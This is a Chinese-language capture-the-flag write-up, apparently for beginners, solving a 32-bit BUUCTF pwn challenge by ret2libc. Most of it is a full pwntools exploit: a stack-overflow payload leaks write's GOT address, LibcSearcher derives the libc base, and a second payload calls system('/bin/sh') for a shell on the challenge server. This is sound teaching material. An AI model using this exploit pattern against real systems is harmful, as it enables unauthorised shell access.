buu第一页的题目,这里简单写一下解析过程:
(主要还是针对新手在写,尽量写的详细一点吧)
1、checksec:
2、简单运行与IDA查看结果:
看到开了有一个可以写入的函数,然后会输出一些东西,同时在f12之后也没有看到和system以及bin/sh有关的东西。再加上nx保护开启,大概率不是shellcode类型,所以想到libc的方法
(所以怎么想到libc的方法呢?首先是保护机制,其次可以从有无system、binsh这些特殊函数的存在)
3、首先通过write函数泄露libc_base,然后构造rop来ret2libc:
注意,这里是32位的程序,和64位先读入寄存器的方式有一点区别。
(32位直接入栈的)
这里先把exp放出来,后面将对于exp的具体内容做出解释:
from pwn import*
from ctypes import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
#io = process('./rop')
io = remote('node4.buuoj.cn',26560)
elf = ELF('./rop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
p1=b'a'*(0x88+0x04)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
io.sendline(p1)
write_addr=u32(io.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
p2=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
io.sendline(p2)
io.interactive()
p1过程为了获得write_addr的过程,这里涉及到了延迟绑定机制,
大概就是,0x88+0x04进行栈溢出覆盖返回地址,然后重新载入main函数,接下来利用write函数的三个参数传入信息(这里建议查看一下write函数的三个参数意义,最后一位因为是32位,所以大小是4)
p2过程就是为了获得shell了,ret2libc的知识点。